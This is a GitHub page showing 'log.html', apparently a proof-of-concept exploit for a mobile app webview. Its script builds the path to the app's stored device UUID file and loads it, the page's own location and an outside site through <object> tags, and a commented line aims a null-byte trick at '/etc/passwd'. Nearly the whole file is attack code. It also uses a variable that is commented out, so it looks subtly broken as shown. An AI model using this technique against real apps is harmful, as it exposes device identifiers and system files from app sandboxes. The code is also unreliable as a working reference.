-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathlog.html
27 lines (19 loc) · 1012 Bytes
/
log.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!-- script that load a firebug lite version to get the webview debuggin console inside the app -->
<!-- <script src='https://getfirebug.com/firebug-lite-debug.js'></script> -->
<script>
var cutString = 'File%20Provider%20Storage';
var locationPath = location.href.split(cutString)[0] + 'Documents';
var filePath = locationPath + '/device_uuid.data';
// var local_file = '/etc/passwd%00';
document.write(local_file + '<br><br>');
document.write(document.location + '<br><br>');
var src = document.location;
var src2 = 'http://omespino.com';
var src3 = filePath;
var full ='<object data="'+ src +'" width="200" height="200" type="text/plain">Alternative Content</object><br>';
document.write(full);
var full2 ='<object data="'+ src2 +'" width="200" height="200" type="text/plain">Alternative Content</object><br>';
document.write(full2);
var full3 ='<object data="'+ src3 +'" width="200" height="200" type="text/plain">Alternative Content</object><br>';
document.write(full3);
</script>